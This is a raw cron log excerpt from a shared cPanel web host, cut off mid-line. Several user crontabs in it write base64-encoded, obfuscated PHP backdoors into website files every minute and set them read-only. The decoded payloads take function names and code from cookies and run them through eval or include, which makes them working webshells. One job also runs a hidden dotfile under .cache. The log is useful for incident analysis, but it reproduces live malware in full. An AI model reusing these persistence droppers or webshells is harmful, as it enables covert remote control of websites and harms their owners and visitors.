Mar  1 16:32:02 medusa CROND[11588]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:32:02 medusa CROND[11589]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:32:02 medusa CROND[11590]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:32:02 medusa CROND[11591]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:32:02 medusa CROND[11594]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:32:02 medusa CROND[11597]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:32:02 medusa CROND[11598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:32:02 medusa CROND[11605]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:32:02 medusa CROND[11607]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:32:02 medusa CROND[11608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:32:02 medusa CROND[11609]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:33:02 medusa CROND[733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:33:02 medusa CROND[734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:33:02 medusa CROND[735]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:33:02 medusa CROND[736]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:33:02 medusa CROND[737]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:33:02 medusa CROND[741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:33:02 medusa CROND[743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:33:02 medusa CROND[744]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:33:02 medusa CROND[747]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:33:02 medusa CROND[746]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:33:02 medusa CROND[748]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:33:02 medusa CROND[758]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:34:01 medusa CROND[21675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:34:01 medusa CROND[21754]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:34:01 medusa CROND[21812]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:34:01 medusa CROND[21813]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:34:01 medusa CROND[21814]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:34:01 medusa CROND[21816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:34:01 medusa CROND[21818]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:34:01 medusa CROND[21821]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 